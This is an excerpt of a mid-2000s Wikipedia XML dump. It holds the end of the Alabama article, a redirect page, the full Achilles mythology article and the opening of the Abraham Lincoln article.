Alabama is the 30&lt;sup&gt;th&lt;/sup&gt; largest state in the United States with 135,775 km&lt;sup&gt;2&lt;/sup&gt; (52,423 mi&lt;sup&gt;2&lt;/sup&gt;) of total area.  3.19% of that is water, making Alabama 23&lt;sup&gt;rd&lt;/sup&gt; in the amount of surface water, also giving it the second largest inland waterway system in the [[United States]].  About three-fifths of the land area is a gentle [[plain]] with a general incline towards the [[Mississippi River]] and the [[Gulf of Mexico]].  The [[North Alabama]] region is mostly mountainous, with the [[Tennessee River]] cutting a large valley creating numerous creeks, streams, rivers, mountains, and lakes.  The lowest point east of the [[Mississippi River]] lies in [[Dekalb County]] along a creek cutting tower ridges, and creating [[Buck's Pocket State Park]].  Another natural wonder is &quot;Land Bridge&quot; the longest natural bridge span east of the [[Mississippi River]].  Alabama generally ranges in [[elevation]] from [[sea level]] at [[Mobile Bay]], to a little more than 1800 [[foot (unit)|feet]] or 550 [[metre|meters]] in the Appalachian mountains in the northeast.  The highest point is [[Mount Cheaha]].

==Economy==
[[Image:wiki_alabama.jpg|thumb|275px|Greetings from Alabama]]
According to the [[Bureau of Economic Analysis]], the [[2003]] total [[gross state product]] was $132 billion. The [[per capita income]] for the state was $26,505 in 2003. Alabama's [[agricultural]] outputs include [[poultry]] and [[Egg (food)|eggs]], [[cattle]], plant nursery items, [[peanut]]s, [[cotton]], [[grains]] such as [[maize|corn]] and [[sorgum]], [[vegetables]], [[milk]], [[soybeans]], and [[peaches]]. Even though neighboring [[Georgia (U.S. state)|Georgia]] is called the [[Peach State]], Alabama produces twice as many peaches annually. Its [[Industry|industrial]] outputs include [[iron]] and [[steel]] products, including cast-iron and steel pipe, [[paper]], [[lumber]], and [[wood]] products, [[mining]] (mostly coal), and [[plastic]] products, cars and trucks, and [[apparel]]. Also, Alabama produces [[aerospace]] and [[electronic]] products, mostly in the [[Huntsville, Alabama|Huntsville]] area, home of the [[NASA]] [[George C. Marshall Space Flight Center]] and the [[United States Army Aviation and Missile Command|US Army Missile Command]], headquartered at [[Redstone Arsenal]].

Also, the city of [[Mobile, Alabama|Mobile]] is a busy seaport on the [[Gulf of Mexico]], and with inland waterway access to the Midwest via the [[Tennessee-Tombigbee Waterway]].

==Demographics==
{{seesubarticle|Demographics of Alabama}}

{| class=&quot;toccolours&quot; align=&quot;right&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin:0 0 1em 1em; font-size: 95%;&quot;
|-
! colspan=2 bgcolor=&quot;#ccccff&quot; align=&quot;center&quot;| Historical populations
|-
! align=&quot;center&quot;| Census&lt;br&gt;year !! align=&quot;right&quot;| Population
|-
| colspan=2|&lt;hr&gt;
|-
| align=&quot;center&quot;| 1800 || align=&quot;right&quot;| 1,250
|-
| align=&quot;center&quot;| 1810 || align=&quot;right&quot;| 9,046
|-
| align=&quot;center&quot;| 1820 || align=&quot;right&quot;| 127,901
|-
| align=&quot;center&quot;| 1830 || align=&quot;right&quot;| 309,527
|-
| align=&quot;center&quot;| 1840 || align=&quot;right&quot;| 590,756
|-
| align=&quot;center&quot;| 1850 || align=&quot;right&quot;| 771,623
|-
| align=&quot;center&quot;| 1860 || align=&quot;right&quot;| 964,201
|-
| align=&quot;center&quot;| 1870 || align=&quot;right&quot;| 996,992
|-
| align=&quot;center&quot;| 1880 || align=&quot;right&quot;| 1,262,505
|-
| align=&quot;center&quot;| 1890 || align=&quot;right&quot;| 1,513,401
|-
| align=&quot;center&quot;| 1900 || align=&quot;right&quot;| 1,828,697
|-
| align=&quot;center&quot;| 1910 || align=&quot;right&quot;| 2,138,093
|-
| align=&quot;center&quot;| 1920 || align=&quot;right&quot;| 2,348,174
|-
| align=&quot;center&quot;| 1930 || align=&quot;right&quot;| 2,646,248
|-
| align=&quot;center&quot;| 1940 || align=&quot;right&quot;| 2,832,961
|-
| align=&quot;center&quot;| 1950 || align=&quot;right&quot;| 3,061,743
|-
| align=&quot;center&quot;| 1960 || align=&quot;right&quot;| 3,266,740
|-
| align=&quot;center&quot;| 1970 || align=&quot;right&quot;| 3,444,165
|-
| align=&quot;center&quot;| 1980 || align=&quot;right&quot;| 3,893,888
|-
| align=&quot;center&quot;| 1990 || align=&quot;right&quot;| 4,040,587
|-
| align=&quot;center&quot;| [[United States 2000 Census|2000]] || align=&quot;right&quot;| 4,447,100
|}

{|
|-
As of 2005, Alabama has an estimated population of 4,557,808, which is an increase of 32,433, or 0.7%, from the prior year and an increase of 110,457, or 2.5%, since the year 2000.  This includes a natural increase since the last census of 77,418 people (that is 319,544 births minus 242,126 deaths) and an increase due to net migration of 36,457 people into the state.  Immigration from outside the United States resulted in a net increase of 25,936 people, and migration within the country produced a net increase of 10,521 people.

The state had 108,000 foreign-born (2.4% of the state population), of which an estimated 22.2% were illegal aliens (24,000).
|}
|[[Image:Alabama_population_map.png|thumb|right|300px|Alabama Population Density map]]
===Race and ancestry===
The racial makeup of the state and comparison to the prior census:
{{Racial_demographics_begin | year1=2000 | year2=1990 }}
{{Racial_demographics_White | year1=71.1% | year2=73.6% }}
{{Racial_demographics_Black | year1=26.0% | year2=25.3% }}
{{Racial_demographics_Asian | year1=0.7% | year2=0.5% }}
{{Racial_demographics_Amerindian | year1=0.5% | year2=0.4% }}
{{Racial_demographics_Other | race=Other race | year1=0.7% | year2=0.1% }}
{{Racial_demographics_Mixed | year1=1.0% | year2=&lt;center&gt;*&lt;/center&gt; }}
{{Racial_demographics_Hispanic | year1White=70.3% | year2White=73.3% | year1Hispanic=1.7% | year2Hispanic=0.6% }}
{{Racial_demographics_end}}

The largest reported ancestry groups in Alabama: American (17.0%), [[British American|English]] (7.8%), [[Irish American|Irish]] (7.7%), [[German American|German]] (5.7%), and [[Scots-Irish American|Scotch-Irish]] (2.0%).  'American' includes those reported as Native American or [[African American]].

===Religion===
The major religions of Alabama:

*[[Christian]] &amp;#8211; 92%
**[[Protestant]] &amp;#8211; 79%
***[[Baptist]] &amp;#8211; 49%
***[[Methodist]] &amp;#8211; 10%
***[[Presbyterian]] &amp;#8211; 3%
***[[Episcopalian]] &amp;#8211; 2%
***[[Church of God]] &amp;#8211; 2%
***[[Church of Christ]] &amp;#8211; 2%
***[[Pentecostal]] &amp;#8211; 2%
***[[Lutheran]] &amp;#8211; 2%
***Other Protestant &amp;#8211; 7%
**[[Catholic]] &amp;#8211; 13%
*Other religions &amp;#8211; 1%
*Non-religious &amp;#8211; 7%
==Colleges and Universities (incomplete)==
{{main|List of colleges and universities in Alabama}}
{|
|-
| valign=&quot;top&quot; |
*[http://www.au.af.mil/ Air University]
*[[Alabama A&amp;M University]]
*[[Alabama State University]]
*[[Andrew Jackson University]]
*[[Athens State University]]
*[[Auburn University]]
*[[Auburn University Montgomery]]
*[[Birmingham-Southern College]]
*[[Bishop State Community College]]
*[[Calhoun Community College|Calhoun Community College System]]
** [[Calhoun Community College at Decatur|Decatur-Main Campus]]
** [[Calhoun Community College at Cummings Research Park|Huntsville/Cummings Research Park]]
** [[Calhoun Community College at Redstone Arsenal|Redstone Arsenal]]
*[[Capps College]]
*[[Concordia College-Selma]]
*[[Faulkner University]]
*[[Heritage Christian University]]
*[[Huntingdon College]]
*[[Jacksonville State University]]
*[[Judson College]]
*[[Miles College]]
*[[Oakwood College]]
*[[Remington College]]
*[[Samford University]]
*[[Selma University]]
*[[Southeastern Bible College]]
*[[Southern Christian University]]
| valign=&quot;top&quot; |
*[[Spring Hill College]]
*[[Stillman College]]
*[[Talladega College]]
*[[Troy University System]] (formerly &quot;Troy State University System&quot;)
**[[Troy University|Main Campus (Troy)]]
**[[Troy University at Dothan]]
**[[Troy University at Montgomery]]
**[[Troy University at Phenix City]]
*[[Tuskegee University]]
*[[United States Sports Academy]]
*[[University of Alabama System]]
**[[University of Alabama|Main Campus (Tuscaloosa)]]
**[[University of Alabama at Birmingham|Birmingham]]
**[[University of Alabama at Huntsville|Huntsville]]
*[[University of Mobile]]
*[[University of Montevallo]]
*[[University of North Alabama]]
*[[University of South Alabama]]
*[[University of West Alabama]]
*[[Virginia College]]
|}

==Culture and interests==
&lt;small&gt;
*[[Famous Alabamians]]
*[[Alabama Jubilee Hot Air Balloon Classic]]
*[[Music of Alabama]]
*[[Alabama Public Television]], state wide public TV network
*[[List of television stations in Alabama]]
*[[Alabama Shakespeare Festival]]
*[[Alabama Sports Festival]]
*[[Spirit of America Festival]]
*[[U.S. Space &amp; Rocket Center]]/[[U.S. Space Camp]]
*[[USS Alabama (BB-60)|USS Alabama]]
*[[Rickwood Field]]
*[[Robert Trent Jones Golf Trail]]
*[[Visionland Theme Park]]
*[[Old State Bank]]
*[[Vulcan statue]]
*[[Mobile Bay jubilee]]
*[[Point Mallard Aquatic Center]]
*[[Noccalula Falls Park]]
&lt;/small&gt;

==References==
* Atkins, Leah Rawls, Wayne Flynt, William Warren Rogers, and David Ward. ''[http://www.questia.com/PM.qst?a=o&amp;d=29166058 Alabama: The History of a Deep South State]'' (1994)
* Flynt, Wayne. ''Alabama in the Twentieth Century'' (2004)
* Owen Thomas M. ''History of Alabama and Dictionary of Alabama Biography'' 4 vols. 1921.
* Jackson, Harvey H. ''Inside Alabama: A Personal History of My State'' (2004)
* [http://www.questia.com/PM.qst?a=o&amp;d=52694010 Peirce, Neal R. ''The Deep South States of America: People, Politics, and Power in the Seven Deep South States'' (1974)] solid reporting on politics and economics 1960-72
* Williams, Benjamin Buford. ''A Literary History of Alabama: The Nineteenth Century'' 1979.
* WPA. ''Guide to Alabama'' (1939)
* for a detailed bibliography see [[History of Alabama]]

==External links==
{{sisterlinks|Alabama}}
*[http://alabama.gov/ Alabama.gov] - Official website.
*[http://www.alarc.org/ Alabama Association of Regional Councils]
*[http://www.touralabama.org/ TourAlabama.org] - Alabama Department of Tourism and Travel
*[http://www.archives.state.al.us/ Archives.state.al.us] - Alabama Department of Archives and History
**[http://www.archives.state.al.us/aaa.html All About Alabama] at the Archives Department site
*[http://alguard.state.al.us Alabama National Guard] - Alabama National Guard
*[http://www.legislature.state.al.us/CodeofAlabama/1975/coatoc.htm Code of Alabama 1975] - at the Alabama Legislature site
*[http://quickfacts.census.gov/qfd/states/01000.html Alabama QuickFacts] from the U.S. Census Bureau
*[http://www.countymapsofalabama.com/ County Maps of Alabama] - Full color maps. List of cities, towns and county seats
*[http://www.southernlitreview.com/states/alabama Alabama Literature] from the Southern Literary Review

==Notes==
&amp;sup1; The phrase ''The Heart of Dixie'' is required by state law to be included on standard state vehicle license plates, but has recently been reduced to a very small size and eclipsed by the phrase ''Stars Fell on Alabama''.

{{Alabama}}
{{USPoliticalDivisions}}
[[Category:Alabama| ]]
[[Category:States of the United States]]
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  </page>
  <page>
    <title>AfricA</title>
    <id>304</id>
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        <ip>Conversion script</ip>
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      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Africa]]
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  <page>
    <title>Achilles</title>
    <id>305</id>
    <revision>
      <id>41915510</id>
      <timestamp>2006-03-02T16:19:19Z</timestamp>
      <contributor>
        <username>Josiah Rowe</username>
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      <minor />
      <comment>/* Other stories about Achilles */ grammar</comment>
      <text xml:space="preserve">:''For other uses, see [[Achilles (disambiguation)]].''

[[Image:The_wrath_of_Achilles.jpg|220px|thumb|right|The wrath of Achilles, by Léon Benouville]]{{Greek myth}}In [[Greek mythology]], '''{{polytonic|&amp;#7944;χιλλεύς}}''', transliterated to '''Akhilleus''' or '''Achilleus'' in Roman letters, Latinized from this ancient Greek to '''Achilles''', appearing in Etruscan as '''Achle''', was a [[hero]] (ancient Greek heros, &quot;defender&quot;) of the [[Trojan War]], the greatest and the most [[central character]] of [[Homer]]'s ''[[Iliad]]''. 

==Name==
The very first two lines of the ''Iliad'' read:
:{{Polytonic|μῆνιν ἄειδε θεὰ Πηληϊάδεω Ἀχιλῆος}}
:{{Polytonic|οὐλομένην, ἣ μυρί' Ἀχαιοῖς ἄλγε' ἔθηκεν,}}
Transliterated:
:Mēnin aeide thea, Pēlēiadeō Akhilēos
:oulomenēn, hē muri' Akhaiois alge' ethēken,
Translated:
:Sing, Muse, the wrath of Achilles the son of Peleus,
:the destructive wrath, that brought countless griefs upon the Achaeans,
[[Image:G-achilles-trojan-wars-bb-l.jpg|thumb|left|Statue of Achilles]]In these lines, we see the name Akhilleus Peleides, which is a [[praenomen]] and a [[patronymic]], the latter being formed from Peleus with the suffix -ides producing ''Achilles the son of [[Peleus]]''. The system is similar to the names used by [[Scandinavians]] before modern times, such as Leif Erikson. 


Achilles' name can be analyzed as a combination of {{Polytonic|ἄχος}} (''akhos'') &quot;grief&quot; and {{Polytonic|λαός}} (''laos'') &quot;a people, tribe, nation, etc.&quot; [http://www.stanford.edu/group/shl/Crowds/hist/laos.htm]  In other words, Achilles is an embodiment of the grief of the people, grief being a theme raised numerous times in the Iliad (frequently by Achilles). Achilles' role as the hero of grief forms an ironic juxtaposition with the conventional view of Achilles as the hero of ''kleos'' (glory, usually glory in war).

''Laos'' has been construed by Gregory Nagy, following Leonard Palmer, to mean ''a corps of soldiers''. With this derivation, the name would have a double meaning in the poem: When the hero is functioning rightly, his men bring grief to the enemy, but when wrongly, his men get the grief. The poem is in part about the misdirection of anger on the part of leadership.

==Birth==
Achilles was the son of the mortal [[Peleus]], king of the [[Myrmidons]] in [[Phthia]] (southeast [[Thessaly]]), and the sea nymph [[Thetis]]. [[Zeus]] and [[Poseidon]] had been rivals for the hand of Thetis until [[Prometheus]] the fire-bringer prophesized that Thetis would bear a son greater than his father. For this reason, the two gods withdrew their pursuit, and had her wed to Peleus.

When Achilles was born, according to the most common version of the myth, Thetis tried to make him immortal by dipping him in the river [[Styx (mythology)|Styx]]. But she forgot to wet the heel she held him by, leaving him vulnerable at that spot. (See [[Achilles' tendon]].) In an earlier and less popular version of the story, Thetis anointed the boy in [[ambrosia]] and put him on top of a fire to burn away the mortal parts of his body. She was interrupted by Peleus and abandoned both father and son in a rage. Homer does not make reference to this invulnerability in the [[Iliad]]. To the contrary, he mentions Achilles being wounded, although not seriously.

Peleus gave him (together with his young friend or lover [[Patroclus]]) to [[Chiron]] the [[Centaur]], on Mt. [[Pelion]], to be raised.

==Achilles in the Trojan War==
===Telephus===
When the Greeks left for the Trojan War, they accidentally stopped in [[Mysia]], ruled by King [[Telephus]]. In the resulting battle, Achilles gave Telephus a wound that would not heal; Telephus consulted an oracle, who stated that &quot;he that wounded shall heal&quot;.

According to other reports in [[Euripides]]' lost play about Telephus, he went to [[Aulis]] pretending to be a beggar and asked Achilles to heal his wound. Achilles refused, claiming to have no medical knowledge. Alternatively, Telephus held [[Orestes (mythology)|Orestes]] for ransom, the ransom being Achilles' aid in healing the wound. [[Odysseus]] reasoned that the spear had inflicted the wound; therefore, the spear must be able to heal it. Pieces of the spear were scraped off onto the wound and Telephus was healed. This is an example of [[sympathetic magic]].

===During the Trojan War===
[[Image:The_Rage_of_Achilles_by_Giovanni_Battista_Tiepolo.jpeg|thumb|right|250px|“The Rage of Achilles” by [[Giovanni Battista Tiepolo]].]]

In Homer's Iliad, Achilles is the only mortal to experience consuming rage (''menon'').  His anger is at some times wavering, at other times absolute.  The humanization of Achilles by the events of the war is an important theme of the ''[[Iliad]]''.

Achilles' [[charioteer]]'s name was [[Automedon]].

====Troilus====
According to [[Dares Phrygius]]' ''Account of the Destruction of Troy'' [http://homepage.mac.com/cparada/GML/DaresTW.html], while [[Troilus]], the youngest son of [[Priam]] and [[Hecuba]] (whom some say was fathered by [[Apollo (god)|Apollo]]), was watering his horses at the Lion Fountain outside the walls of Troy, Achilles saw him and fell in love with his beauty (whose &quot;loveliness of form&quot; was described by [[Ibycus]] as being like &quot;gold thrice refined&quot;). The youth rejected his advances and took refuge inside the temple of Apollo. Achilles pursued him into the sanctuary and decapitated him on the god's own altar. ([[John Tzetzes|Tzetzes]], [[scholiast]] on [[Lycophron]]). At the time, Troilus was said to be a year short of his twentieth birthday, and the legend goes that if Troilus had lived to be twenty, Troy would have been invincible. ([[First Vatican Mythographer]])

====Agamemnon and the death of Patroclus====
[[Image:Patrocluspederastyscene.jpg|thumb|250px|left|[[Patroclus]] and Achilles. Achilles bandages the arm of his friend Patroclus. The latter turns his head aside to avoid the sight of blood and of Achilles noticing his pain grimaces. The scene has been interpreted as an act of welfare and comradeship, or as a scene with sexual overtones. Ancient Greek culture often held the two [[Iliad#The_relationship_of_Achilles_and_Patroclus|to be lovers]].]]

Achilles took 23 towns outside [[Troy]], including [[Lyrnessos]], where he captured [[Briseis]] to keep as a [[concubine]]. Meanwhile, [[Agamemnon]] took a woman named [[Chryseis]] and taunted her father, [[Chryses]], a priest of [[Apollo (god)|Apollo]], when he attempted to buy her back. Apollo sent a plague through the Greek armies, and Agamemnon was forced to give Chryseis back to her father; however, he took Briseis away from Achilles as compensation for his loss.

This action sparked the central plot of the [[Iliad]]: Achilles becomes enraged and refuses to fight for the Greeks any further. The war goes badly, through the influence of [[Zeus]], and the Greeks offer handsome reparations to their greatest warrior.  After the Greeks are pushed back to the ships, which are just starting to be set on fire by the Trojan hero [[Hector]], Achilles is visited by [[Odysseus]], [[Telamonian Aias|Ajax]], and [[Phoenix (Iliad)|Phoenix]], who attempt to persuade him to return to battle.  

Achilles still refuses to fight, but agrees to allow [[Patroclus]] to fight in his place, wearing his armor. The next day, [[Patroclus]] is killed and stripped of the armor by Hector, who mistakes him for Achilles. Achilles is overwhelmed with grief for his beloved friend, and the rage he once harbored toward Agamemnon begins shifting to Hector. Thetis, his mother, rises from the sea floor and sympathizes with his grief. She obtains magnificent new armor for him from [[Hephaestus]]. The goddess [[Athena]] provides him with the [[aegis]] of Zeus.

When he goes to the battlefield, the entire Trojan army flees behind the walls of Troy. Achilles' wrath is terrible, and he slays many Trojan warriors and allies, including Priam's son [[Lycaon]] (whom Achilles had previously captured and sold into slavery, but who had been returned to Troy). Eventually Hector comes out of the walls to defend the honour of Troy. He asked Achilles to agree that the body of the loser would be returned for proper burial by the winner. Achilles rejected this arrangement, saying,  &quot;Though twenty ransoms and thy weight in gold were offered, I would refuse it all.&quot; 

Stories tell that Hector ran about Troy seven times and Achilles followed him, however seeing that Achilles would not be outrun, Hector stood his ground and fought. Other versions of the tale say that Achilles chased after Hector two times, and one time he was delivered by the gods, however, on their second encounter, Achilles trapped Hector and challenged him. After a legendary fight, Achilles kills Hector.

Influenced by his anger, he drags the body of Hector behind his chariot round the walls of Troy three times, and refuses to allow it to receive [[funeral rites]].  Much to the dismay of Achilles, the body of Hector miraculously heals and will not decay as normally expected. [[Aphrodite]], the goddess of love who sided with Troy throughout the whole conflict, put a protective barrier over [[Hector]], which kept him looking like he did before he was viciously killed by Achilles. When [[Priam]], the king of Troy and Hector's father, comes secretly into the Greek camp to plead for the body, Achilles finally relents; in one of the most moving scenes of the ''Iliad'', he receives Priam graciously and allows him to take the body away.  The scene is intensely moving because [[Priam]], the king of one of the greatest cities in the known world, kneels down, old and frail as he is, and kisses the hands of the man who killed his son.

The greatness of Achilles lies in not just being the greatest Greek fighter ever, but in knowing the choice provided to him by [[Destiny]]. His mother Thetis had prophesied to him that if he pulled out of the [[Trojan War]], he would enjoy a long and a happy life. If Achilles fought, however, he would die before the walls of [[Troy]] but assure an everlasting glory, surpassing that of all other heroes. He had made the choice, and coming face to face with it showed his greatness.

====Xanthos====
During the [[Trojan War]], [[Balius and Xanthos|Xanthos]], one of Achilles' horses, was rebuked by Achilles for allowing [[Patroclus]] to be killed. Xanthos responded by saying (Hera temporarily gave him voice to do so) that a god and a mortal had killed Patroclus and a god and a mortal would soon kill Achilles  too.

====Memnon, Cycnus, Penthesilea, and the death of Achilles====
[[Image:TBanksThetis.jpg|thumb|right|300px|''Thetis rising from the sea to comfort Achilles'' (Book 18), by [[Thomas Banks]], English, [[1778]] [[Victoria and Albert Museum]].]]
Shortly after the death of [[Hector]], Achilles defeated [[Memnon]] of [[Ethiopia]], [[Cycnus]] of [[Colonae]] and the [[Amazons|Amazonian]] warrior [[Penthesilia]] (with whom Achilles also had an affair in some versions). As predicted by [[Hector]] with his dying breath, Achilles was thereafter killed by [[Paris (mythology)|Paris]] &amp;mdash; either by an arrow to the heel (which may have subsequently become fatally infected, and is said to have been guided by [[Apollo]]), or in an older version by a knife to the back while visiting [[Polyxena]], a princess of Troy. Both versions conspicuously deny the killer any sort of valor, and Achilles remains undefeated on the battlefield (Paris was later killed by Philoctetes using the enormous bow of Heracles). His bones are mingled with those of [[Patroclus]], and funeral games are held. Like Ajax, he is represented (although not by [[Homer]]) as living after his death in the island of [[Leuke]] at the mouth of the [[Danube]].

====The fate of Achilles' armor====
Achilles' armor was the object of a feud between [[Odysseus]] and [[Telamonian Aias|Ajax the Greater]] (Achilles' older cousin). They competed for it and Odysseus won. Ajax went mad with grief and vowed to kill his comrades; he started killing cattle (thinking they were Greek soldiers), and then himself.

==Other stories about Achilles==	 
Some post-Homeric sources claim that in order to keep Achilles safe from the war, Thetis (or, in some versions, Peleus) hid the young man at the court of [[Lycomedes]], king of [[Skyros]].  There, Achilles was disguised as a girl and lived among Lycomedes' daughters under the name &quot;Pyrrha&quot; (the red-haired girl).  With Lycomedes' daughter [[Deidamea|Deidamia]], Achilles fathered a son, [[Neoptolemus]] (also called Pyrrhus, after his father's alias).  According to this story, Odysseus learned from the prophet [[Calchas]] that the Achaeans would be unable to capture Troy without Achilles' aid.  He went to Skyros in the guise of a peddler selling women's clothes and jewelry, but placed a shield and spear among his goods.  When Achilles instantly took up the spear, Odysseus saw through his disguise and convinced him to join the Trojan campaign.  In another version of the story, Odysseus arranged for a trumpet alarm to be sounded while he was with Lycomedes' women; while the women fled in panic, Achilles prepared to defend the court, thus giving his identity away.  The story about Achilles in [[drag (clothing)|drag]] is not found in Homer.

In Homer's ''[[Odyssey]]'', there is a passage in which Odysseus sails to the underworld and converses with the shades. One of these is Achilles, who when greeted as &quot;blessed in life, blessed in death&quot;, responds that he would rather be a slave than be dead. This has been interpreted as a rejection of his warrior life, but also as indignity to his martyrdom being slighted.

The kings of [[Despotate of Epirus|Epirus]] claimed to be descended from Achilles through his son. [[Alexander the Great]], son of the Epiran princess [[Olympias]], could therefore also claim this descent, and in many ways strove to be like his great ancestor; he is said to have visited his tomb while passing Troy. Achilles was worshipped as a sea-god in many of the [[Greek colonies]] on the [[Black Sea]].

The [[homosexual]] [[Achilles and Patroclus|relationship between Achilles and Patroclus]] is something much explored in post-[[Homeric]] literature.  By the fifth and fourth centuries, the deep — and arguably ambiguous — friendship portrayed in Homer blossomed into an unequivocal love affair in the works of [[Aeschylus]], [[Plato]], and [[Aeschines]], and seems to have inspired the enigmatic verses in [[Lycophron]]'s third century ''Alexandra'' that claim Achilles slayed Troilus in a matter of unrequited love.

Achilles fought and killed the [[Amazons|Amazon]] [[Helene (mythology)|Helene]].

Some also said he married [[Medea]], and that after both their deaths they were united in the Elysian Fields of Hades - as Hera promised Thetis in Apollonius' [[Argonautica]].

==Achilles in lost plays==
In the early [[1990]]s a lost play by [[Aeschylus]] was discovered in the wrappings of a [[mummy]] in [[Egypt]]. The play, ''[[Achilles (play)|Achilles]]'', was part of a [[trilogy]] about the [[Trojan War]]. It was known to exist due to mentions in ancient sources, but had been lost for over 2,000 years.  Another lost play by Aeschylus, ''The Myrmidons'', focussed on the relationship between Achilles and Patroclus; only a few lines survive today.

There is another lost play with Achilles as the main character, ''The Lovers of Achilles'', by [[Sophocles]].

==Spoken-word myths (audio)==
{| border=&quot;1&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot;
|-
! style=&quot;background:#ffdead;&quot; | Achilles myths as told by story tellers
|-
|[[Media:Achilles and Patroclus wiki.ogg|'''1. Achilles and Patroclus,''' read by Timothy Carter]]
|-
|Bibliography of reconstruction: [[Homer]] ''Iliad,'' 9.308, 16.2, 11.780, 23.54 ([[700 BC]]); [[Pindar]] ''[[Olympian Odes]],'' IX ([[476 BC]]); [[Aeschylus]] ''Myrmidons,'' F135-36 ([[495 BC]]); [[Euripides]] ''Iphigenia in Aulis,'' ([[405 BC]]); [[Plato]] ''Symposium,'' 179e ([[388 BC]]-[[367 BC]]); [[Statius]] ''Achilleid,'' 161, 174, 182 ([[96]] CE)
|-
|}

==Achilles in music==
Achilles has frequently been mentioned in music.

*&quot;Achilles, Agony &amp; Ecstasy In Eight Parts&quot;, by [[Manowar]]; from the album ''The Triumph of Steel'', [[1992]], [[Atlantic Records]].
*&quot;[[Achilles Last Stand]]&quot;, by [[Led Zeppelin]]; from the album ''Presence'', [[1976]], Atlantic Records.
*&quot;Achilles' Revenge&quot; is a song by [[Warlord (band)|Warlord]].
*Achilles' Heel is an album by the indie rock band [[Pedro the Lion]].
*Achilles and his heel are referenced in the song &quot;Special K&quot; by the rock band [[Placebo (band)|Placebo]].
*Achilles is referred to in [[Bob Dylan]]'s song, &quot;Temporary Like Achilles&quot;.
*&quot;Achilles' Heel&quot; is a song by the UK band [[Toploader]].
*&quot;Achilles&quot; is a song by the Colorado-based power metal band [[Jag Panzer]], from the album ''Casting the Stones''.
*Achilles is referenced in the [[Indigo Girls]] song &quot;Ghost&quot;.

==Achilles in film==
The role of Achilles has been played by:
* [[Stanley Baker]] in ''[[Helen of Troy (movie)|Helen of Troy]]'' ([[1956]])
* [[Arturo Dominici]] in ''[[La Guerra di Troia (movie)|La Guerra di Troia]]'' ([[1962]])
* [[Derek Jacobi]] [voice] in Achilles (Channel Four Television) ([[1995]])
* [[Steve Davislim]] in ''[[La Belle Hélène (TV movie)|La Belle Hélène]]'' (TV, [[1996]])
* [[Joe Montana (actor)|Joe Montana]] in ''[[Helen of Troy (TV movie)|Helen of Troy]]'' (TV, [[2003]])
* [[Brad Pitt]] in ''[[Troy (movie)|Troy]]'' (2004)

==Namesakes==
* The [[Royal New Zealand Navy]] gave the name [[HMNZS Achilles (70)|HMNZS ''Achilles'']] to an [[British A class destroyer|''A'' class]] [[destroyer]] which served in [[World War II]].

==References==
*[[Homer]], ''[[Iliad]]''
*[[Homer]], [[Odyssey|''Odyssey'' XI]], 467-540
*[[Apollodorus]], ''[[Bibliotheca (Pseudo-Apollodorus)|Bibliotheca]]'' III, xiii, 5-8
*[[Apollodorus]], [[Epitome III|''Epitome'' III]], 14-V, 7
*[[Ovid]], ''[[Metamorphoses (poem)|Metamorphoses]]'' XI, 217-265; XII, 580-XIII, 398
*[[Ovid]], [[Heroides|''Heroides'' III]]
*[[Apollonius Rhodius]], [[Argonautica|''Argonautica'' IV]], 783-879
*[[Dante]], ''[[The Divine Comedy]]'', Inferno, V.

==Bibliography==
* Ileana Chirassi Colombo, “Heros Achilleus— Theos Apollon.” In ''Il Mito Greco'', éd. Bruno Gentili &amp; Giuseppe Paione, Rome, 1977;
* Anthony Edwards:
** “Achilles in the Underworld: Iliad, Odyssey, and Æthiopis”, ''Greek, Roman, and Byzantine Studies'', 26 (1985): pp. 215-227 ;
** “Achilles in the Odyssey: Ideologies of Heroism in the Homeric Epic”, ''Beitrage zur klassischen Philologie'', 171, Meisenheim, 1985 ;
** “Kleos Aphthiton and Oral Theory,” ''Classical Quarterly'', 38 (1988): pp. 25-30 ;
* Hélène Monsacré, ''Les larmes d'Achille. Le héros, la femme et la souffrance dans la poésie d'Homère'', Paris, Albin Michel, 1984;
* [[Gregory Nagy]]:
** ''The Best of The Acheans: Concepts of the Hero in Archaic Greek Poetry'', Johns Hopkins University, 1999 (rev. edition);
** ''The Name of Achilles: Questions of Etymology and 'Folk Etymology''', ''Illinois Classical Studies'', 19, 1994;
* Dale S. Sinos, ''The Entry of Achilles into Greek Epic'', Ph.D. thesis, Johns Hopkins University;
* Johansson, Warren. ''Achilles.'' [http://williamapercy.com/pub-EncyHom.htm '''Encyclopedia of Homosexuality.'''] Dynes, Wayne R. (ed.), Garland Publishing, 1990. p. 8

==External links==
{{commons|Category:Achilles}}
* [http://www.androphile.org/preview/Library/Mythology/Greek/ The Story of Achilles and Patroclus]
* [http://www.historyguide.org/ancient/troy.html Trojan War Resources]

[[Category:People who fought in the Trojan War]]
[[Category:Anti-heroes|Achilles]]
[[Category:Pederastic heroes and deities]]

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      <text xml:space="preserve">:''For other uses of the name Abraham Lincoln, see [[Abraham Lincoln (disambiguation)]]''
{{Infobox_President | name=Abraham Lincoln
| nationality=American
| image=Abraham Lincoln head on shoulders photo portrait.jpg
| order=16th President
| term_start=[[March 4]], [[1861]]
| term_end=[[April 15]], [[1865]]
| predecessor=[[James Buchanan]]
| successor=[[Andrew Johnson]]
| birth_date=[[February 12]], [[1809]]
| birth_place=[[Hardin County, Kentucky]] (now in [[LaRue County, Kentucky|LaRue County]])
| death_date=[[April 15]], [[1865]]
| death_place=[[Washington, D.C.]]
| spouse=[[Mary Todd Lincoln]]
| party=[[Republican Party (United States)|Republican]]
| vicepresident=[[Hannibal Hamlin]] (1861 to 1865); [[Andrew Johnson]] (March - April 1865)
}}
'''Abraham Lincoln''' ([[February 12]], [[1809]] – [[April 15]], [[1865]]), sometimes called '''Abe Lincoln''' and nicknamed '''Honest Abe''', the '''Rail Splitter''', and the '''Great Emancipator''', was the 16th [[President of the United States]] (1861 to 1865), and the first president from the [[History of United States Republican Party|Republican Party]]. Lincoln opposed the expansion of slavery and oversaw the Union war effort during the [[American Civil War]]. He selected the generals and approved their strategy; selected senior civilian officials; supervised diplomacy, patronage and party affairs; rallied public opinion through messages and speeches such as the [[Gettysburg Address]]; and took personal charge of plans for the [[Emancipation Proclamation|abolition of slavery]] and the [[Reconstruction]] of the Union. He was assassinated as the war ended by [[John Wilkes Booth]]. 

==Role in history==
